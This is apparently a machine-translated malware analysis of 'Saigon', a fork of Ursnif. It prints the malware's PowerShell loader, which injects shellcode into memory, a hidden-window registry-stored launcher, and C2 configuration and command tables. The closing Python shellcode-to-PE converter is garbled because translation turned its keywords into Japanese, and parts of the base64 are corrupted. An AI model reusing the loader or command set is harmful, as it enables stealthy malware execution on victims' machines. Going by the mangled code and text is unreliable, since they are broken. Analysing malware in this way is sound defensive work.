サイゴン、謎のウルスニフ フォーク

$hanksefksgu = [System.Convert]::FromBase64String(“@SOURCE@”);
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“JHdneG1qZ2J4dGo9JGh)
hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF
0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB
ucHVibGljIHN0YXRPYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K
GAia2VybmVsMzJgilildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RLVGhyZWFkKel
udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN
0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI
pxWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmpY3QoSW50UHRyIGFqLC
BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgiildYG5wdWJsaWMgc3RhdGljIGV4dG
VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4esx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1
dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UEXBLIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSANV2LUMZI
nic1uYW1lc3Bhy2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml
ydHVhbEFsbG9jKDasJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU
2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd
GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC
RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG
9jbm53a3ZvcSwzMDAwMCk7″)));

PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzaEIA
OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5
AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A

$hanksefksgu = [System.Convert]::FromBase64String(“@SOURCE@”);
$wgxmjgbxtj = $hanksefksgu.Length;

$tskvo = @”
[DllImport(“kernel32”)]
public static extern Int32 GetCurrentProcess();

[DllImport(“user32”)]
public static extern IntPtr GetDC(IntPtr mxxahxof);

[DllImport(“kernel32”)]
public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh);

[DllImport(“kernel32”)]
public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);

[DllImport(“kernel32”)]
public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);
“@;

$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name ‘Win32’ -namespace Win32Functions -passthru;
$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj);
$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);
$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);

名前のチェックサム

名前

説明

0x97ccd204

ホスト一覧

通信に使用される C2 URL のリスト

0xd82bcb60

サーバーキー

C2との通信に使用される蛇の鍵

0x23a02904

グループ

ボットネット ID

0x776c71c0

アイドル期間

C2への最初のリクエストまで待機する秒数

0x22aa2818

最小稼働時間

稼働時間がこの値 (秒単位) を超えるまで待機します

0x5beb543e

ロード期間

C2 への後続のリクエスト間で待機する秒数

0x84485ef2

ホストキープ時間

障害が発生した場合に次の C2 サーバーに切り替える前に待機する分数

ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u

名前

説明

版

ボットのバージョン (他の Ursnif 亜種とは異なり、これにはビルド番号のみが含まれるため、「3.5.xxx」の xxx 桁のみが含まれます)

グループ

ボットネット ID

ID

クライアントID

タイプ

リクエスト タイプ (0 – タスクのポーリング時、6 – システム情報データのアップロード用)

稼働時間

マシンの稼働時間 (秒)

ノック

ボットの「ノック」期間 (C2 への後続のリクエスト間で待機する秒数、LoadPeriod 構成オプションを参照)

名前のチェックサム

名前

説明

0x45d4bf54

SELF_DELETE

マシンから自身をアンインストールします。スケジュールされたタスクを削除し、そのレジストリ キーを削除します

0xd86c3bdc

LOAD_UPDATE

URL からデータをダウンロードし、署名を復号して検証し、 .ps1ファイルとして保存して、「 PowerShell.exe -ep unrestricted -file %s 」を使用して実行します。

0xeac44e42

GET_SYSINFO

以下を実行して、システム情報を収集してアップロードします。

1. 「システム情報.exe 」
2. 「ネットビュー」
3. ” nslookup 127.0.0.1 “
4. ” tasklist.exe /SVC “
5. ” driverquery.exe “
6. ” reg.exe クエリ” HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall ” /s “

0x83bf8ea0

LOAD_DLL

URL からデータをダウンロードし、復号化して検証し、それ自体をメモリにロードするために使用したのと同じシェルコード ローダーを使用して、DLL を現在のプロセスにロードします。

0xa8e78c43

LOAD_EXE

URL からのデータのダウンロード、復号化と検証、 .exe拡張子での保存、 ShellExecuteを使用した呼び出し

ウルスニフ v3 (RM3)

サイゴン (Ursnif v3.5?)

永続化方法

PowerShell を使用してレジストリ キーに格納されたコードを実行するスケジュールされたタスク

PowerShell を使用してレジストリ キーに格納されたコードを実行するスケジュールされたタスク

構成の保管

セキュリティ PE ディレクトリは、’ WD ‘ マジック バイト (別名 Ursnif の「結合ファイル」) で始まる埋め込みバイナリ データを指します。

セキュリティ PE ディレクトリは、’ WD ‘ マジック バイト (別名 Ursnif の「結合ファイル」) で始まる埋め込みバイナリ データを指します。

PRNG アルゴリズム

xorshift64*

xorshift64*

チェックサムアルゴリズム

JAMCRC (別名、すべてのビットが反転した CRC32)

CRC32、結果を 1 ビット右に回転

データ圧縮

aPLib

aPLib

暗号化/復号化

蛇CBC

蛇ECB

データの完全性検証

RSA署名

RSA署名

通信方法

HTTP POST リクエスト

HTTP POST リクエスト

ペイロードのエンコーディング

パディングなしの Base64 (‘+’ と ‘/’ はそれぞれ ‘ _2B ‘ と ‘ _2F ‘ に置き換えられます)、ランダムなスラッシュが追加されます

パディングなしの Base64 (‘+’ と ‘/’ はそれぞれ ‘ %2B ‘ と ‘ %2F ‘ に置き換えられます)、ランダムなスラッシュなし

URL パスの模倣を使用していますか?

はい

いいえ

PXファイル形式を使用していますか?

はい

いいえ

#!/usr/bin/env python3
import argparse
インポート構造体
from datetime import datetime

MZ_HEADER = bytes.fromhex(
「4d5a90000300000004000000ffff0000」
‘b8000000000000004000000000000000’
‘000000000000000000000000000000’
‘0000000000000000000000080000000’
「0e1fba0e00b409cd21b8014ccd215468」
‘69732070726f6772616d2063616e6e6f’
‘742062652072756e20696e20444f5320’
‘6d6f64652e0d0d0a2400000000000000’
)

デフメイン（）：
parser = argparse.ArgumentParser(description=”Saigon マルウェア ファミリのシェルコードから PE へのコンバーター。”)
parser.add_argument(“サンプル”)
args = parser.parse_args()

open(args.sample, “rb”) を f:
データ = bytearray(f.read())

data.startswith(b’MZ’) の場合:
lfanew = struct.unpack_from(‘=I’, データ, 0x3c)[0]
print(‘これは既に MZ/PE ファイルです。’)
戻る
elif not data.startswith(b’xe9′):
print(‘ファイルの種類が不明です’)
戻る

struct.pack_into(‘=I’, データ, 0, 0x00004550)
データ[5] == 0x01の場合:
struct.pack_into(‘=H’, データ, 4, 0x14c)
elif データ[5] == 0x86:
struct.pack_into(‘=H’, データ, 4, 0x8664)
そうしないと：
print(‘不明なアーキテクチャ’)
戻る

# ファイル配置
struct.pack_into(‘=I’, データ, 0x3c, 0x200)

optional_header_size, _ = struct.unpack_from(‘=HH’, データ, 0x14)
マジック, _, _, size_of_code = struct.unpack_from(‘=HBBI’, データ, 0x18)
print(‘マジック:’, hex(マジック))
print(‘コードのサイズ:’, hex(size_of_code))

base_of_code, base_of_data = struct.unpack_from(‘=II’, データ, 0x2c)

魔法の場合 == 0x20b:
# データのベース、PE32+ には存在しない
size_of_code & 0x0fff の場合:
tmp = (size_of_code & 0xfffff000) + 0x1000
そうしないと：
tmp = size_of_code
base_of_data = base_of_code + tmp

print(‘Base of code:’, hex(base_of_code))
print(‘データのベース:’, hex(base_of_data))

data[0x18 + optional_header_size : 0x1000] = b’

size_of_header = struct.unpack_from(‘=I’, データ, 0x54)[0]

データサイズ = 0x3000
pos = data.find(struct.pack(‘=III’, 3, 5, 7, 11, 13))
pos >= 0 の場合:
data_size = pos – base_of_data

セクション = 0
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.text’,
size_of_code, base_of_code,
base_of_data – base_of_code, size_of_header,
0、0、
0、0、
0x60000020
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.rdata’,
data_size、base_of_data、
data_size, size_of_header + base_of_data – base_of_code,
0、0、
0、0、
0x40000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.data’,
0x1000、base_of_data + data_size、
0x1000、size_of_header + base_of_data – base_of_code + data_size、
0、0、
0、0、
0xc0000040
)

魔法の場合 == 0x20b:
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.pdata’,
0x1000、base_of_data + data_size + 0x1000、
0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,
0、0、
0、0、
0x40000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.bss’,
0x1600、base_of_data + data_size + 0x2000、
len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,
0、0、
0、0、
0xc0000040
)
そうしないと：
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.bss’,
0x1000、base_of_data + data_size + 0x1000、
0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,
0、0、
0、0、
0xc0000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.reloc’,
0x2000、base_of_data + data_size + 0x2000、
len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,
0、0、
0、0、
0x40000040
)

header = MZ_HEADER + data[:size_of_header – len(MZ_HEADER)]
pe = bytearray(ヘッダー + データ[0x1000:])
open(args.sample + ‘.dll’, ‘wb’) を f:
f.write(pe)

lfanew = struct.unpack_from(‘=I’, pe, 0x3c)[0]
タイムスタンプ = struct.unpack_from(‘=I’, pe, lfanew + 8)[0]
print(‘PE タイムスタンプ:’, datetime.utcfromtimestamp(timestamp).isoformat())

if __name__ == “__main__”:
主要（）